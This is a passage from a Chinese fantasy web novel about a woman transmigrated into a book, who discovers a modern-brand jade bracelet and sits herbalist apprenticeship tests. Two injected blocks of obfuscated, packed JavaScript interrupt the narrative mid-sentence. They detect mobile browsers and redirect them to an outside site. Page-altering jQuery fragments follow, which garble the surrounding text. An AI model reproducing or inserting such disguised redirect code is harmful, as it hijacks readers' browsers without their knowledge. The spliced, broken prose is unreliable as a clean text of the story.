原书男主出门是为了公务,这位游手好闲的纨绔紧跟其后所为何事? 闲的! 戴纾语不禁腹诽。 “夫君!”勉力将内心对蔺星斓的鄙夷往下压,她加快步伐朝大门口跑去。 听见她的声音,蔺清辉脚步未停,明显是不想搭理人。 岂料,戴纾语手脚远比看上去利索,几大步便追到几人跟前。 “夫君,早上好!”戴纾语脸上绽放出灿烂的笑颜,努力让自己看起来人畜无害,“多谢夫君帮我摆平官府里的事。” 昨日成功入住蔺府,戴纾语遂半遮半掩地将她与地痞阿彪之间的恩恩怨怨详细说给蔺清辉听了,并请求他帮忙报官,以及处理后续事宜。 蔺清辉虽说对这位臭名远扬的前妻并无好感,倒也尽心尽力将此事办妥当了。 官府的人前往那处老破小调查取证,走访近邻,自认为真相大白后,此事就此揭过。 对方不接茬,戴纾语忽地意识到了什么,立马后退两步,举起一只手发誓:“夫君,我没有跟你套近乎的意思。此地是蔺府大门,我并未涉足你的私人空间。” “总之,你能出手相助,我感激不尽。” 蔺清辉略微颔首,神色疏离,转身上了马车。 戴纾语愣在原地,出神地望着马车渐渐远去。 “嫂嫂?” 左边肩膀忽然被人用胳膊轻轻碰了一下,戴纾语渐渐收拢心神,下意识朝身旁之人看去,“你有什么事吗?” 蔺星斓眨着一双桃花眼,似笑非笑,“嫂嫂一大早出门,是去找住处吗?” 听出对方在嘲讽自己,戴纾语收起笑意,“昨日你说服清辉留我在府上住下,帮了我一个大忙,我本来心生感激,想着应该报答你。眼下看来——” 戴纾语欲言又止,蔺星斓蓦地对她余下的话生出些许兴致来,“眼下怎样?” “谁知道你有什么见不得人的目的?”戴纾语冷哼一声,故意将掩藏心底的话说出口来,“游手好闲的纨绔,草包一个,无缘无故帮我,你会有这般好心?” 说罢,她转身就往大门外走。 “你——” 闻得此言,蔺星斓咬牙切齿,虽说他往日的身份确实是个游手好闲的纨绔,但并非他的作为。 再者,从今日起,他也是有正经职务的人了。 无端被人骂草包,蔺星斓心中分外不爽。 “嫂嫂可是忘了?你还有把柄在我手里!” “什么把柄?”戴纾语脚步一顿,转过身来看他,“你说的不会是那只破香囊吧?几文钱买来的,大街上随处可见。也只有你这种游手好闲的草包才会拿去当个宝。” 说完,她头也不回地迈出大门,争分夺秒找工作去了。 望着她快步离开的身影,蔺星斓气得牙痒痒。 戴纾语在便宜小叔子那里过了嘴瘾,让对方吃瘪了,却在职场上屡次碰壁。 她顺着主街的药铺挨家挨户询问过去,无一人有收她做学徒的意愿。拒绝的理由多为一看她便是肩不能扛手不能提的主儿。 更有甚者,说她的长相穿着不符合寻常药铺收学徒的标准。 戴纾语摸了摸身上精挑细选的粗布衣裳,好半晌没回过味来,实则人家只是随意寻个由头拒绝她罢了。 “我力气很大的!”戴纾语举起手臂,试图用自己练就的肱二头肌说服药铺掌柜。 “去去去!”药铺掌柜是个年迈的白胡子老头儿,嫌弃她站在屋子中央碍事,“你到别处展示臂力去!莫要在老朽这里捣乱。” 戴纾语默默收回手,灰溜溜地迈出药铺。 这是她问过的第十家药铺了,书中世界找工作不比现实世界里容易啊! 正思忖间,街上人群突然骚动起来。 戴纾语被身后的人推搡着往前挤,她连忙拉住一位大婶打听,“大婶,发生什么事了吗?” 大婶长得慈眉善目的,上下打量她片刻,语气急促,“姑娘,你不是本地人吧?” “不是。”戴纾语朝人群里张望,没瞧出个所以然来。 “有异类闯入城中,明镜司正抓异类呢!”大婶耐心地解释道,“快家去吧,免得被异类缠上,可就遭了!” 异类? 戴纾语听得一愣一愣的,还想再追问几句,岂料那大婶混迹在人群中,早已不见了踪影。 及至此刻,她才想起这本书是奇幻背景,明镜司并非普通的司法机构,而是管辖非自然力量引起的重大事件。 “哎呦!”一道吃疼的惊呼闯入耳畔,紧接着,眼前人影晃动,一位身形纤瘦的年轻姑娘脚下踉跄几步,径直朝地上栽倒下去。 眼下的情形,人群拥挤而人心惶惶,若是摔倒在地,必会引起踩踏事件,后果不堪设想。 戴纾语眼疾手快,用力将年轻姑娘提溜到自己身旁,扶着她站稳。 “当心!” “多谢姑娘出手相救。”年轻姑娘捋了捋额前凌乱的碎发,抬眼朝戴纾语看来,脸上却露出诧异的神色。 “戴姑娘?”她不禁喜道,“原来是你,谢谢你救了我!” 戴纾语一脸茫然,“姑娘,你认得我?” “听清辉提起过,也远远瞧见过几次。” 听到这里,戴纾语再迟钝也猜出对方身份了,原书女主——花照微,京城首富花家大小姐,蔺清辉的正宫。 据戴纾语从原作简介了解的情况来看,前期花照微与蔺清辉惺惺相惜,恩爱非常。 只是不知后来发生了什么,蔺清辉品行骤变,激发了开后宫的种马人设。 缘分当真是个奇妙的东西! 戴纾语不禁唏嘘。 鉴于自己身份特殊,她并未继续打听对方身份,遂拉着花照微往身后的药铺退去。 两人挤在药铺门口,打量着顺着同一个方向推搡的人群。 “花姑娘,明镜司抓异类,是有妖魔鬼怪闯入城中了吗?” 花照微柔声道:“是。但不完全是,也有旁的东西。” 戴纾语欲再追问几句,余光瞥见人群里冒出两个熟悉的身影,正是蔺清辉与蔺星斓兄弟二人。 须臾,蔺清辉已瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897359|192270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移至两人跟前。 “照微,可有伤着?”他的声音温润如玉,全然不似跟戴纾语说话时那般冷淡疏离。 不愧是原书男主唯一的真爱。 戴纾语的视线落在两人身上,无端觉得般配至极。 “夫——”她想要打声招呼,话到嘴边猛地意识到不妥,遂立马改口唤道:“清辉,你们抓到异类了吗?” 蔺清辉恍若此刻才看见她,面上神色骤然冷了几分,“戴姑娘,你在这里作甚?”说着,回眸望着花照微,面露疑惑,“你们?” 花照微莞尔而笑,解释说:“我与丫鬟们被人群挤散了,险些被人群推倒,若非戴姑娘出手相救,可能都见不到你了。” “多谢。”蔺清辉冷冷道。 听语气,不像道谢,倒像是来索命。 戴纾语撇撇嘴,内心的不悦将要满溢出来。 “嫂嫂,”一道熟悉的嗓音从头顶倾泻而来,“可是心里泛酸,不是滋味?” 戴纾语应声回首,只见蔺星斓幸灾乐祸地望着自己,她迎着对方的目光,皮笑肉不笑,“酸,酸得咬牙切齿!恨不能把你吃掉,以消解体内泛滥的怒火。” 蔺星斓听得心惊肉跳,无端生出一股会被她拆吃入腹的恐惧来。 “怎么,怕了吗?”戴纾语用力戳了戳他胸口,将人怼得往后退了两步。 蔺星斓故作镇定,阴恻恻地说:“嫂嫂,你瞧!” 戴纾语下意识顺着他手指的方向望去,蔺清辉正抬手为花照微整理凌乱的碎发,举手投足间显尽温柔缱绻,体贴入微,全然不似在她面前那般冷漠厌弃的模样。 啧! 究竟为何会开后宫呢? 戴纾语好奇极了。 “兄长心有所属,我看你呀!”见她呆呆地望着不远处的一对璧人出神,蔺星斓愈发幸灾乐祸起来,“需要多加努力才是!” “用得着你管!”戴纾语突然抬脚踩在他脚尖上,甚至用力碾了几下,恶声恶气地说:“少在我面前瞎晃悠!我狠起来叫你害怕。” 蔺星斓未曾料到有此一劫,随即抬起遭遇不幸的那条腿,原地蹦了几蹦,压低声音说:“嫂嫂,哪有你这样的?过河拆桥!” 戴纾语不接茬,视线落在他脚边,一枚玉镯随着蔺星斓身形晃动从他怀里掉了出来,她顺手将玉镯捡起来握在手里,仔细端量片刻。 玉镯贴着手腕的部分刻有标识,竟是一个现实世界里的玉器品牌的LOGO。 戴纾语眨了眨眼,只当人声嘈杂,她出现幻觉了。 正待仔细瞧个清楚,掌心骤然一空,手里的玉镯随之回到蔺星斓手中。 “嫂嫂,未经允许,擅自拿走旁人的东西,不太好吧?” 戴纾语抬眸望着他,心里的好奇愈演愈烈,“你怎么会有这个?” 蔺星斓将玉镯用丝绢包裹妥帖了,自顾自放回怀中。 “我怎么不能有?指不定是某个相好送给我的定情信物呢!毕竟,”他不怀好意地低头,距离戴纾语近了些,“在嫂嫂眼里,我可是游手好闲的纨绔,草包一个!” 戴纾语在内心翻了个白眼,无意跟他贫嘴,但实在好奇蔺星斓从何处得来现实世界里的玉镯。 “我的意思是,你从哪里得来的?这玉镯质地莹润,式样别致,我也想买一个。” 5. 05 “不好意思,没了!”蔺星斓得意地朝她眨了眨眼,“仅此一件,买不到了。” 戴纾语没有得到想要的答案,只当对方故意不透露玉镯的来历,遂不依不饶起来,“区区一枚玉镯,你竟是当个宝贝藏着掖着,不愧是——” “草包一个?”不容她说完,蔺星斓兀自接过话茬。 戴纾语一时语塞,她本想以此激怒对方,岂料蔺星斓早被她言语攻击到麻木的程度。 这个走向可不大妙。 “当真仅此一件?”她并不信,以她对蔺星斓浅显的了解来看,对方这是有意不让她痛快。 “当真没了。” “行吧!”戴纾语换了个话茬,“你从何处淘来的?带我去店里逛一逛,我想挑个别的饰物。” 蔺星斓上下打量着她身上的粗布衣裳,似笑非笑地说:“上回听嫂嫂说全身上下只剩下五文钱,今日却有闲钱买饰物了?莫不是诓骗兄长的吧!” 听了这话,戴纾语心虚地朝蔺清辉所在的方向瞄了一眼,生怕对方听见了。只见一对璧人依旧紧紧依偎在一起,随即放下心来。 “蔺星斓,别以为你可以用这个由头拿捏我。”她恶狠狠地说,“我确实只剩下五文钱了,但我在找活计做,很快就有钱了!” “哦——”蔺星斓阴阳怪气地说:“等你找到活计了,再求我带你去玉石店里挑饰物吧!” 戴纾语气得直跺脚,只得放缓语气说:“带我去看一看也行,买不起,看两眼又不花钱。” 蔺星斓禁不住笑出声来。 “嫂嫂,你打算怎么谢我?”他理了理在人群里挤皱了的外袍,投向戴纾语的视线意味深长,“亲自做一枚香囊作为谢礼,可好?” 戴纾语恨得牙痒痒,深思熟虑后,却只得应承下来了。 蔺星斓怀里那枚玉镯的来历实在太过诱人,她非要弄清楚不可。 至于怎么弄清楚,那就另说了。 正思忖间,一道轻柔的声音骤然从身后传来:“戴姑娘,你俩嘀嘀咕咕说些什么呢?” 戴纾语循声望去,只见花照微身后跟着蔺清辉,两人正穿过拥挤的人群,往她与蔺星斓所在的方向走来。 “哈哈,随便聊聊。”戴纾语尴尬地笑了笑,内心的鄙夷快要满溢出来了,谁会跟一个游手好闲的纨绔瞎嘀咕,闲得没事干! “星斓,”蔺清辉走上前来,视线意味不明地扫过戴纾语,最后落在蔺星斓脸上,“你尚有公务在身,却在街边与一女子拉拉扯扯,成何体统?” 蔺星斓张了张口,一时无语,不愧是原书男主,竟连双标的话都说得如此理直气壮。 方才对方在街边与一女子卿卿我我,你侬我侬,难道就成体统了? 戴纾语强忍笑意,率先开口解释说:“清辉,我方才无意间瞧见星斓有一枚玉镯,式样与质地都格外精美,正向他打听从何处买来的。我们并未拉拉扯扯,你不要误会。” “玉镯?”蔺清辉紧皱的眉头渐渐舒展开来,视线落在蔺星斓手腕上,“什么样的玉镯?” 蔺星斓只得再次将包好的玉镯从怀里取出,打开丝绢递到蔺清辉跟前。 “兄长,你可是忘了?前日你从明镜司带回家来,我瞧着甚是喜欢,便求着兄长给我了。” 蔺清辉了然,这枚玉镯是从一位死刑犯身上掉下来的,彼时他正欲拿去销毁,却因着一桩要紧事耽搁了,顺手揣进怀里。回府后叫蔺星斓瞧见了,缠着他将玉镯要了去。 听完这番话,戴纾语未免多留了个心眼。 蔺清辉口中的那名死刑犯,以及大街上骚动的人群所说的异类,很大概率跟她一样,同为穿书者。 “原来是这样啊!”戴纾语脸上流露出遗憾的神色,“果真如星斓所言,独此一件,买不到了。” 见状,花照微走到她身旁,柔声问道:“戴姑娘,你若是喜爱玉石之类的物件,我带你去一家顶好的玉石店逛一逛,玉石珠宝琳琅满目,好不精美别致。” “花小姐,你唤我纾语便好。”戴纾语不自在地笑了笑,接着道:“近日我在找活计做,待我有收入了,你再带我去逛玉石店。” 闻得此言,花照微眼睛顿时亮了起来,“纾语,你也叫我照微吧,我家里人都这样叫我。” 她顿了顿,斟酌着字句,问道:“你打算找什么样的活计?我可以问吗?” “当然可以!”戴纾语笑道,“我略懂医理,打算去药铺做学徒。不过,找了十来家药铺,都被拒绝了。” “哈哈哈——”听到这里,蔺星斓没忍住笑出声来,语气里不乏幸灾乐祸的意味,“戴姑娘也会有被人拒绝的时候!” 戴纾语回眸瞪了他一眼,“你闭嘴!” 蔺星斓略微挑眉,立马噤声了。 “京城里药铺掌柜多为男性,对年轻女子颇有些偏见,觉得我们肩不能提手不能扛,不愿意用人。” 花照微不愧为土生土长的书中人物,对京城里的行情了解得够清楚。 思忖半晌,她拉着戴纾语的手,道:“你看这样如何?与我家中长辈相熟的一位大夫,是位女性,我带你去她的药铺试试。” “这可太好了!”戴纾语高兴极了,不由原地蹦了几蹦,“什么时候去?现在吗?” 花照微抿唇笑了起来,“都可以。你什么时候有空?” “立刻!马上!”说走就走,戴纾语转身就要往人群里挤,却被蔺星斓攥住袖口拽了回来。 “戴姑娘,再缺钱,也不能不要命吧!” “……”狗嘴里吐不出象牙!戴纾语站稳身形,一巴掌拍开蔺星斓的手,咬牙切齿道:“多谢恩人救命之恩!” 蔺清辉尚有公务要忙,交代蔺星斓护送两位姑娘前往药铺,遂自行离开了。 街上的人群渐渐疏散开来,异类混进城中造成的恐慌却丝毫不减。 一行三人来到一家名为“百草堂”的药铺门前,花照微率先走了进去。 “阿福,我找你们家掌柜的。” “是花大小姐啊!”名叫阿福的学徒扬起笑脸,招呼三人进屋,旋即拎来茶壶斟茶。 “掌柜的在后院忙呢!近日送来了许多被异类咬伤的百姓,掌柜的忙得脚不沾地。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897360|192270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 戴纾语环顾一下四周,药铺内售卖的并非寻常药材,而是罕见的灵草灵药。 听得这番话,她下意识蹙眉,异类还会咬人?听起来如同走尸一般。莫非她理解错了,异类并非指穿书者,抑或不是单指传书者,也包括其余非人类。 她这厢正思忖着,后院骤然传来一阵撕心裂肺的嚎啕声,视线顺着半敞着的门帘往里探去,戴纾语不由怔愣一瞬。 空旷的后院里摆放着十来个简易木床,床上躺满了奄奄一息的病人。她不自觉朝里探长脖子,只觉其中一个身影略显熟悉。 戴纾语眨了眨眼,只当自己眼花了,随即揉了揉眼睛,欲往前去探个究竟。 “嫂嫂,你拉长脖子看什么呢?看得这样入迷!”蔺星斓凑到跟前,顺着她的视线往里看,同样只看见了一排排跟现实世界医院里一样的病床。 “伤患有何好看?”他随即收回视线,不解地望着戴纾语。 “别打岔!”戴纾语不耐烦地挥了挥手,将挡住她视线的人推到一旁,“我好像碰见了一个熟人。” “哈哈——”蔺星斓脸皮挺厚,兀自往她跟前凑,压低声音说:“莫不是昔日的哪个情郎?” “不应该呀!”戴纾语暗自嘀咕,耳朵忽然被人碰了一下,她蓦地抬起头来,“蔺星斓,你活腻了是不?” “嫂嫂,别误会。”蔺星斓微微往后仰首,与她拉开一段距离,遂用指尖指了一下她的耳朵,“你这里——有一只虫子。” “鬼才信你!”戴纾语并不相信他的鬼话。 蔺星斓把手伸到她眼前,随后摊开掌心,果然,一只黄色斑点的瓢虫在他手心里自由蠕动。 戴纾语只觉头皮发麻,猛地一巴掌拍在蔺星斓手腕上,将那只指甲盖大小的瓢虫拍飞了。 “你三岁吗?玩这种把戏!” 蔺星斓面露委屈,“嫂嫂,我好心把你耳朵上的虫子拿掉,你倒是怪罪起我来了!” “会点术法了不起?只会用来捉弄人,有本事跟你兄长捉异类去。”戴纾语冷哼一声,往前两步就要往后院的方向去。 岂料,刚低着头穿过门帘,迎面走来一名面相略显严肃的年轻女人,高个子,身形偏瘦,辨不出真实年纪。 “阿福,来客人了?” “司徒夫人。”花照微连忙起身迎了上去,逐一介绍道:“她们是我的朋友。”说罢,指了指戴纾语,向司徒夫人表明了来意。 司徒潋一手摸着下巴,目光落在戴纾语身上,“略懂医理?” 戴纾语点头应是。 得到肯定回答后,司徒夫人略微颔首,招呼她到跟前去。 “三轮考核,完成了便收你为徒。” 对方说话不苟言笑,颇有高中时期对教导主任的刻板印象。 戴纾语不自觉咽了口唾沫,无端紧张起来,内心竟生出了一股身在高考考场的恐惧。 “嫂嫂,愣着做什么?”蔺星斓轻轻推了她一把,压低声音道:“司徒夫人要考你呢!” 戴纾语脚下踉跄几步,下意识回首望向蔺星斓,正对上他不怀好意的笑容。 6. 06 “纾语,跟我进来。”司徒潋矮身穿过门帘,招呼戴纾语跟上她的步伐。 戴纾语应了一声,紧跟着往库房的方向去。 刚迈出去几步,遂听见几道焦急的呼唤声在药铺门口响起,“小姐,你可让我们好找!” 紧接着,数名丫鬟打扮的少女蜂拥而入,顿时将坐在桌案旁的花照微团团围住。 花照微低声安抚了几句,旋即快步来到戴纾语跟前,“纾语,我先回家了。往后有机会,我陪你去玉石铺子看首饰。” 戴纾语点了点头,跟她道别,转身的时候,余光瞥见蔺星斓百无聊赖地端坐在条几旁,手里握着一杯阿福刚替他斟好的菊花茶。 “你怎么还不走?”她走过去捅了下对方胳膊,“花小姐回府了,你的保镖任务完成了。” 蔺星斓慢条斯理地将茶杯搁在条几上,懒懒地掀开眼皮看她,“兄长命我护佑两位姑娘的人身安全,我不得不遵从上司的命令。虽说花大小姐已经安然回府,但——” 他下巴微抬,指了指戴纾语,“嫂嫂尚在此处,我可不敢擅离职守。” 戴纾语在内心翻了无数个白眼,兀自问他:“蔺清辉何时成你上司了?” “我如今可是在明镜司北镇抚司担任要职。”蔺星斓面上洋溢着得意的笑容,意有所指,“不再是游手好闲的纨绔,嫂嫂口中的草包。” 难怪今日一早便跟着蔺清辉出门,原来是找到铁饭碗了,戴纾语不禁嘀咕,随即追问道:“你在北镇抚司担任什么要职?镇抚使吗?” 蔺星斓一时语塞。 为了完成任务,只得求助原书男主为他安排一份差事——一名小小的缇骑。算不得要职,却不愿叫对方将他看扁了,遂不露声色地说:“不可外传。” 见他支支吾吾地不肯明说,戴纾语心下了然,不由嗤笑一声,揶揄道:“就你这等游手好闲的货色,能担任什么要职?不会是在清辉手底下端茶送水、鞍前马后吧!” “你——” 不容他回应,戴纾语加快步伐往药库的方向去。经过后院的时候,她刻意留心观察院子里躺着的一众伤患,却未见到那个熟悉的身影。 莫非当真是眼花了? 戴纾语眨了眨眼,环顾一下四周,确认没有眼熟之人,却不敢掉以轻心。 毕竟,她并未亲眼见到地痞阿彪的尸首。 来到药库,司徒潋吩咐几名学徒搬来两大筐新到的灵草,随即指着地上的几个药匣,对戴纾语说:“第一轮考核,按照药效为这批灵草分类。一刻钟后我来检查考核结果。” 说罢,径直转身离开了。 戴纾语目送她出了库房,旋即蹲在地上仔细分拣起来。 药匣的外端刻有相应的类别与药效,她只需将灵草放进相应的匣子里即可。 戴纾语阅文无数,对修真文里常见的灵草略有了解,也颇感兴趣,认真钻研过。如今既是身在书中世界,这轮考核于她而言并不难。 只是在见到一种名为“木源花”的灵草时,她明显地迟疑了一下,斟酌再三,最终将这类灵草放进了刻有“修复类”的药匣里。(1) 不到一刻钟,戴纾语完成了分拣任务,并且自我感觉良好。 她缓缓站起身来,满意地伸了个懒腰,随后将地上分类好的灵草逐一搬到桌案上摆放整齐。 做完这些动作,司徒潋恰好走进库房。 “分类好了?”她扫一眼桌案上摆放得整整齐齐的药匣,见戴纾语细心地用细绳将每一种灵草捆了起来,并贴上标签,以免混淆。 司徒潋素来不苟言笑的面容罕见地露出欣慰的神色。 戴纾语如实道:“司徒夫人,我分类好了。” 司徒潋顺手拿起一枚灵草,举到眼前轻轻嗅了嗅,随即抬眼朝戴纾语看来,“为何将木源花归为修复类灵草?” 戴纾语早就等着她开口问自己,闻言,立马将准备好的台词娓娓道来:“木源花常见的用途确实是吞噬灵根。我平日里喜爱翻阅古籍,得知其最初的用途是修复受损的灵根。” 说到这里,她抬眸瞄了眼司徒潋,对方略微颔首,戴纾语得到鼓励,接着道:“只因诸多修士用法不当,不仅未能修复受损的灵根,反而致使灵根被吞噬,因此被归为噬灵类灵草。” “久而久之,其修复受损灵根的用途被忽视、淡忘。如今只剩下吞噬灵根的作用为世人所知,并因此被列为禁药。” “年纪不大,书倒读得不少。”司徒潋将手里的木源花放进药匣里,示意戴纾语到桌案旁坐下,“以往可曾做过药铺学徒?” 戴纾语摇头,根据现实世界里实习的经验,斟酌着道:“只是跟在一些有名的大夫身边学习过。” “甚好。”司徒潋站起身来,作势往外走,“第一轮考核顺利过关。接下来是为中蛊之人清理体内的蛊虫,你能做到吗?” 现实世界里,戴纾语出身于医学世家,家里几代人从医。所以,中医学、西医学于她都不算陌生。 再加上她自小酷爱玄幻类小说,阅读量庞大。而今穿进玄幻背景的文里,清理中蛊之人体内的蛊虫,对她来说,并非难事。 “司徒夫人,我可以的。”戴纾语信心满满。 岂料,来到中蛊之人的尸首前,她登时就僵立在原地,好半晌没有动作。 蔺星斓不知从何处冒出来,凑到她耳畔,阴森森地道:“嫂嫂,愣着做什么?等着看他诈尸吗?” 戴纾语正盯着眼前的尸首出神,冷不丁被他吓一跳,条件反射,她猛地用力将人往一旁推开,不禁嘀咕:“太诡异了!” 蔺星斓好奇心重,顺着她的视线望去,仔细端量着地上死得不能再死的尸体。 “死人嘛!当然诡异了。” 说完这话,他忽地想起了什么,遂朝戴纾语靠近两步,距离她更近了些,“嫂嫂,地上躺着的这位,莫不是你旧时的某位相好吧?” “闭嘴!”戴纾语再次将人搡开,蹲下身仔细打量起地上的中蛊之人,确认是她见过的。 “当真是你老相好?”蔺星斓的嘴巴就跟炮仗一样,响起来没完没了,他紧跟着蹲在戴纾语身旁,没忍住“啧啧”几声,语气里不乏嘲讽的意味。 “这也太磕碜了!嫂嫂,你当真是——荤素不忌啊!” 戴纾语闭了闭眼,实在无可忍,遂一把扣住他手腕,将人摔出去数步远。 “我让你闭嘴,听不见?” 两人动静闹得不小,司徒潋恰好路过,连忙走进屋来,“发生了何事?”视线落在地上的尸首上,她不 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戴纾语惯会察言观色,见状,并未追根究底,“司徒夫人,那我开始清理蛊虫了。” 司徒潋颔首,示意她继续。 戴纾语先行用匕首划开死者的腹部,仔细将里面的蛊虫清理干净,逐一取出。随后找司徒潋取来相应的蛊毒,吸收干净中蛊者体内残留的余毒。 用时大概一炷香的时间,她清洗干净沾了满手的血污,满含期待地回到司徒潋身旁。 “司徒夫人,第二轮考核成功了吗?” “当然。”不仅成功了,司徒潋对她的表现颇为满意,“今日的考核到此为止。” 闻得此言,戴纾语喜得眉开眼笑,当即跑过去搂住司徒潋的胳膊,“司徒夫人,您的意思是——我不用完成第三轮考核了?” “当然不是。”司徒潋抽回手,一板一眼地说,“时候不早了,你先回家休息。明日巳时,第三轮考核开始。” “哦——”戴纾语讪讪一笑,小声嘀咕:“我还以为表现优异,可以优先录取呢!” 蔺星斓快步来到司徒潋身旁,先是恭恭敬敬地鞠了一躬,旋即指了指自己的嘴巴,示意司徒潋解开他身上的无声咒。 司徒潋嫌他聒噪,并未理会,转过身去面向戴纾语,道:“纾语,今日你表现良好,我可以给你一个奖励,什么要求都可以提。” 闻言,戴纾语眼睛都亮了起来,“当真什么都可以?” 司徒潋点头,“是的。” “那——”戴纾语回首打量着身后的蔺星斓,不由生出了捉弄人的心思。 她指着蔺星斓,望向司徒潋说:“司徒夫人,你可以教我学习无声咒吗?” 蔺星斓一听就急了,一双桃花眼瞪得溜圆,眼眶也瞪得泛红,眼泪都快流出来了。 身中无声咒之人,旁人只能看见他嘴巴一张一翕,却发不出任何声音,就连呜呜咽咽的声音都没有,如同被按了静音键。 蔺星斓身上的无声咒未解,虽看出戴纾语的意图,却只能干瞪眼。他双手紧紧攥住戴纾语的袖口,连连摇头。 戴纾语轻轻拍了拍他白净的脸蛋,不怀好意地笑了笑,“蔺星斓,你也有今天!” 7. 07 两人离开百草堂时,已至黄昏时分,天际渐染红霞,夏日的晚风迎面扑来,透着阵阵热气。 戴纾语新学了无声咒,心绪极佳,全然将跟在她身后黑沉着一张脸的蔺星斓抛诸脑后。 袖口被人用力攥住,戴纾语回首望去,故作惊讶状,“你有什么事吗?” 蔺星斓气得险些当场昏厥过去,他眉头紧紧蹙着,指了指自己的嘴巴。 “想让我帮你解开无声咒?”戴纾语拿开他的手,转身继续往前走,“求我呀!” 蔺星斓急得直跺脚,加快步伐走到戴纾语身前,拦住了她的去路。 戴纾语眉梢微挑,将他上下打量着,突然心生一计,“把你的玉镯给我瞧瞧,我便帮你解开无声咒。” 蔺星斓下意识捂住胸口的位置,那神情,恍若他不答应,戴纾语会直接上手抢。 “你把玉镯给我看一眼,我帮你解无声咒,怎么看都是我吃亏,你倒是不乐意?”戴纾语冷哼一声,绕开他就要往前走。 “不答应算了。一枚破玉镯子,当个宝贝似的!” 蔺星斓犹豫再三,心道她一个土著,自是看不出蹊跷,遂从怀里取出丝绢包裹着的玉镯,小心翼翼地递到戴纾语面前。 “这就对了!我只是看看,不会据为己有。”戴纾语喜得眉开眼笑,当即就将丝绢打开,仔仔细细端量起包裹其中的白玉镯子。 确实是现实世界里的玉器品牌,她在书中世界并未听说过同样的玉石铺子。 及至此刻,戴纾语已有十二分把握,书中世界不止她一个穿书者。甚至,官府知道穿书者的存在,且当作危险性极强的异类大肆抓捕。 戴纾语只顾盯着玉镯出神,并无为他解开无声咒的意思,蔺星斓心下着急,遂伸出手去紧紧攥住她的衣袖,用力晃了晃,提醒她别忘了她们之间的交易。 “放心。”戴纾语将玉镯包好,顺手揣进他怀里,更是体贴地为他整理好皱巴巴的衣襟。 蔺星斓身形微僵,望着她好半晌没有动作。 “瞪我做什么?”戴纾语不明就里,“我说过,只看不抢,现在物归原主了。” 蔺星斓拍开她停留在自己胸口的手,故作镇定,随即略微俯身朝戴纾语靠近,示意她解开无声咒。 眼前蓦地投下一片阴影,戴纾语的视线落在他濡湿的唇瓣上,无端觉得触感应该不错。 “咳咳——”她干咳两声,不露声色地移开视线,干巴巴地说:“解无声咒需要用符纂,我只有空白符纸,回府以后再帮你解。” 蔺星斓一听就急了,他这副狼狈样子,让府上的人瞧见,嫩脸都丢尽了。 他攥住戴纾语的袖口不放,非要她当即解开无声咒不可。 戴纾语不耐烦地瞪着他,“我没有笔,也没有朱砂,怎么画符纂?” 说完这话,她忽地想起了什么,自顾自从怀里摸出一张空白符纸,随后伸出右手食指,打算咬破指尖用血画就符纂。 手指抵在唇瓣,正欲往嘴里送。 街边巷口的阴影里骤然传来一阵窸窸窣窣的脚步声,对方像是担心被人发现,刻意放轻了步伐。 戴纾语灵机一动,计上心来,指尖转了个方向,径直挤进蔺星斓湿润的口腔。 “咬。” 蔺星斓未曾料到有此一劫,当即瞪圆了双眸,眼睫眨也不眨地盯着戴纾语。 又湿又热的触感包裹着手指,戴纾语下意识屈起指节,轻轻压在蔺星斓滑腻的舌尖上。 “咬破我的手指,我用血画符纂。” 脑子里空白一片,蔺星斓瞬间丧失了思考的能力,闻得此言,有如一只上了发条的机械狗,僵硬地随着戴纾语的指令动作。 “嘶!”蔺星斓下嘴不轻,戴纾语疼得没忍住痛呼一声,“你属狗的啊!” 她蓦地抽回手指,沾着血珠洋洋洒洒在空白符纸上画上符文,旋即将符纂贴在蔺星斓微微张开的双唇上。 “妥了!”戴纾语满意地拍了拍手,指缝间感受到一点黏腻的触感,她不自觉捻了下指腹,略微皱眉。 声音失而复得,蔺星斓的反应却没有想象中那般激烈。 可能是方才的小插曲减淡了无声咒给他带来的痛苦,也可能是戴纾语平静的面容无端叫他心虚。 总之,蔺星斓只是低低地说了一声感谢,生怕被戴纾语瞧见他通红的耳根,遂加快步伐往蔺府的方向去。 岂料,刚迈出去两步,便被戴纾语用力攥住手腕往回拽。 她的胳膊紧紧贴着蔺星斓的手臂,远远看去,像极了一对亲密的恋人。 “别出声,有东西跟着我们。” 蔺星斓放轻呼吸,视线落在前方昏暗的街角处,“什么东西?” “不知道。”戴纾语压低声音说,“我数一二三,我们一起跑。” 岂料,她刚数到“二”,藏匿在暗处的不明物种蓦地发出一声怒吼,仿佛以此作为警示。 情急之下,戴纾语忘记数数,攥紧蔺星斓的手腕拔腿就跑,竟是拖着他跑出去数米远。 蔺星斓脚下踉跄几步,好容易跟上她的节奏。 “不是说喊‘一二三’,再一起跑吗?”他累得气喘吁吁,仍不忘分神嗔怪道。 “情况紧急,见机行事!” 戴纾语脚步未停,加重了手上力道,两人一路狂奔,现场演绎了一段身后有猛鬼索命的情节。 天色渐渐暗了下来,街上灯光晦暗不明,放眼望去,连个人影都没有。 太诡异了。 “歇——歇一会!” 蔺星斓从她手中挣脱开,微微弓着身子,累得上气不接下气,只觉五脏六腑都要冲出胸腔了。 戴纾语紧跟着停下脚步,侧耳聆听片刻,四周静悄悄的,古怪的脚步声消失了。 她稍微松一口气,却不敢掉以轻心,“休息好了吗?”唯恐被追上,戴纾语催促道。 蔺星斓微微喘着粗气,语气里满是委屈,“我刚喘了几口气,哪能这样快便休息好。” 